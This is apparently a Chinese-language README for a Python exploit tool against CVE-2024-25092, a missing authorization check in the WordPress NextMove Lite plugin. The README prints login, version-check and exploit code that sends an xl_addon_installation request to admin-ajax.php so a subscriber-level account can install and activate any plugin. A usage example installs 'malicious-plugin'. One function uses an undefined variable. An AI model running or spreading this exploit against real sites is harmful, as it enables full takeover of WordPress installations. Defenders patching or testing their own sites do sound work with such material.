CVE-2024-25092 漏洞利用工具
项目描述
本项目是针对 CVE-2024-25092 漏洞的自动化利用脚本。该漏洞存在于 WordPress XLPlugins NextMove Lite 插件(版本号 ≤ 2.17.0)中,由于缺少授权检查,导致具有订阅者(Subscriber)及以上权限的认证用户可以绕过权限限制,安装并激活任意 WordPress 插件。成功利用此漏洞可能导致网站完全被控制。
| 属性 | 值 |
|---|---|
| 漏洞编号 | CVE-2024-25092 |
| 公开日期 | 2024-06-09 |
| 严重程度 | 高危 (CVSS 8.8) |
| 漏洞类型 | CWE-862 - 缺失授权 |
| 受影响版本 | n/a 至 2.17.0 |
CVSS 向量: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
功能特性
-
自动认证登录:支持通过用户名和密码登录 WordPress 站点
-
任意插件安装:利用漏洞绕过授权限制,安装并激活任意 WordPress 插件
-
默认插件支持:内置默认插件
cart-for-woocommerce,支持自定义插件名称 -
会话管理:使用
requests.Session保持登录状态和 Cookie -
SSL 警告抑制:自动禁用不安全的 HTTPS 请求警告
安装指南
系统要求
- Python 3.x
requests库
安装步骤
-
将脚本保存为
CVE-2024-25092.py -
安装依赖库:
pip install requests
使用说明
命令行参数
| 参数 | 简写 | 必填 | 说明 |
|---|---|---|---|
--url | -u | 是 | 目标 WordPress 站点 URL |
--username | -un | 是 | WordPress 用户名 |
--password | -p | 是 | 用户密码 |
--plugin | -pl | 否 | 要安装的插件 slug(默认:cart-for-woocommerce) |
基础使用示例
# 使用默认插件
python CVE-2024-25092.py -u http://example.com -un subscriber_user -p user_password
# 指定自定义插件
python CVE-2024-25092.py -u https://target-site.com -un editor -p pass123 -pl malicious-plugin
典型输出
Logged in successfully.
Site is vulnerable... Exploiting and uploading plugin
Plugin 'cart-for-woocommerce' installed and activated successfully.
工作流程说明
-
登录阶段:向
/wp-login.php发送 POST 请求,验证用户凭证 -
漏洞利用:向
/wp-admin/admin-ajax.php发送 POST 请求,参数action=xl_addon_installation,触发任意插件安装
核心代码
登录验证模块
def login(session, url, username, password, user_agent):
login_url = url + '/wp-login.php'
response = session.post(login_url, verify=False, data={
'log': username,
'pwd': password,
'rememberme': 'forever',
'wp-submit': 'Log+In'
}, headers={"User-Agent": user_agent})
if any('wordpress_logged_in' in cookie.name for cookie in session.cookies):
print("Logged in successfully.")
else:
print("Failed to log in.")
exit()
漏洞版本检测
def check_version(session, url, user_agent):
response = session.get(version_url, verify=False, headers={"User-Agent": user_agent})
if response.status_code == 200:
if 'Stable tag: 2.17.0' in response.text:
print("Site is vulnerable... Exploiting and uploading plugin")
else:
print("Site is not vulnerable.")
exit()
else:
print("Failed to check version.")
exit()
插件安装利用模块
def install_plugin(session, url, plugin, user_agent):
exploit_url = url + '/wp-admin/admin-ajax.php'
exploit_data = {
'action': 'xl_addon_installation',
'xl_slug': plugin,
'xl_file': '/plugin.php'
}
headers = {
"User-Agent": user_agent,
"Accept": "*/*",
"Accept-Language": "en-US,en;q=0.5",
"Accept-Encoding": "gzip, deflate, br",
"Referer": url + '/wp-admin/admin.php?page=xl-cart',
"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
"X-Requested-With": "XMLHttpRequest",
"Origin": url,
"Connection": "keep-alive",
"Cookie": '; '.join([f"{cookie.name}={cookie.value}" for cookie in session.cookies])
}
response = session.post(exploit_url, data=exploit_data, headers=headers, verify=False)
if response.status_code == 200:
print(f"Plugin '{plugin}' installed and activated successfully.")
else:
print("Failed to upload plugin.")
主程序入口
def main():
parser = argparse.ArgumentParser(description='Exploit script for CVE-2024-25092 By Nxploit Khaled Alenazi. ')
parser.add_argument('-u', '--url', required=True, help='Target URL')
parser.add_argument('-un', '--username', required=True, help='Username')
parser.add_argument('-p', '--password', required=True, help='Password')
parser.add_argument('-pl', '--plugin', default='cart-for-woocommerce', help='Plugin to install (default: cart-for-woocommerce)')
args = parser.parse_args()
user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0"
requests.packages.urllib3.disable_warnings()
session = requests.Session()
session.verify = False
login(session, args.url, args.username, args.password, user_agent)
check_version(session, args.url, user_agent)
install_plugin(session, args.url, args.plugin, user_agent)
if __name__ == "__main__":
main()
免责声明
本工具仅限用于授权的安全测试和教育目的。未经授权使用此脚本攻击系统属于违法行为。使用者需自行承担法律责任。 6HFtX5dABrKlqXeO5PUv/36QVhA6BltxZzh7R/LTOFg=